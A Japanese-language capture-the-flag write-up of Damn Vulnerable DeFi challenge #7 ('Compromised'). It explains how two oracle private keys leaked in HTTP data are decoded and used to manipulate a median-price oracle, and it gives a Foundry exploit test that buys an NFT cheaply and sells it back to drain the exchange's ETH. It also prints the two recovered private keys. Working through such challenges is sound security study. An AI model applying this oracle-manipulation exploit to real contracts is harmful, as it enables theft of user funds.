チャレンジ #7 - Compromised#
Solidity と Foundry のシステム学習のために、私は Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再作成しました。交流や共同開発にご参加ください〜🎉
コントラクト#
- Exchange: DamnValuableNFT の購入(mint)と販売(burn)のメソッドを提供し、価格はオラクルによって提供されます。
- TrustfulOracle: 信頼できる価格オラクルコントラクトで、信頼できるアカウントによって設定された NFT の価格を維持し、NFT の価格の中央値をクエリするメソッドを提供します。
- TrustfulOracleInitializer:TrustfulOracle コントラクトをデプロイし、NFT の価格を初期化するためのものです。
テスト#
- TrustfulOracleInitializer コントラクトをデプロイし、TrustfulOracle コントラクトのデプロイを完了し、初期 NFT 価格を INITIAL_NFT_PRICE に設定します。
- Exchange コントラクトをデプロイし、DamnValuableNFT コントラクトのデプロイを完了し、EXCHANGE_INITIAL_ETH_BALANCE を格納します。
- 攻撃スクリプトを実行します。
- Exchange コントラクトの残高が 0 であり、player の残高が EXCHANGE_INITIAL_ETH_BALANCE であり、player が NFT を所有していないこと、oracle の NFT 価格の中央値が INITIAL_NFT_PRICE であることを期待します。
解答#
Exchange コントラクトを読むことで、buyOne
とsellOne
がオラクルによって提供される ETH の支払いと回収を行うことがわかります。NFT の価格はoracle.getMedianPrice()
メソッドを使用して取得します。
攻撃の目標は、Exchange コントラクトのすべての ETH を取得することです。そのため、NFT を安く購入して高く売ることで、EXCHANGE_INITIAL_ETH_BALANCE の ETH を獲得することができます。したがって、オラクルを操作することになります。oracle の NFT 価格の中央値を取得する方法を分析すると、半数以上のオラクルを操作するだけで価格を変更することができることがわかります。
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
問題文には、キャプチャされた HTTP メッセージの情報が提供されており、これらの文字列は 2 つのオラクルの秘密鍵に対応していると推測されます。16 進数を ASCII コードに変換し、さらに Base64 でデコードすることで、2 つの秘密鍵を取得できます。
完全なフローチャートは以下の通りです:
まず、オラクルを操作して NFT の単価を下げ、player が購入するようにします。次に、オラクルを操作して NFT の価格を上げ、player が売却するようにします。これで攻撃が完了します。以下はコードの例です:
function testExploit() public{
/*Code solution here*/
oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);
postPrice(0.0001 ether);
vm.startPrank(player);
uint256 id = exchange.buyOne{value: 0.0001 ether}();
vm.stopPrank();
uint256 exchangeBalance = address(exchange).balance;
postPrice(exchangeBalance);
vm.startPrank(player);
nftToken.approve(address(exchange), id);
exchange.sellOne(id);
vm.stopPrank();
postPrice(INITIAL_NFT_PRICE);
validation();
}
function postPrice(uint256 price) public{
vm.startPrank(oracle1);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
}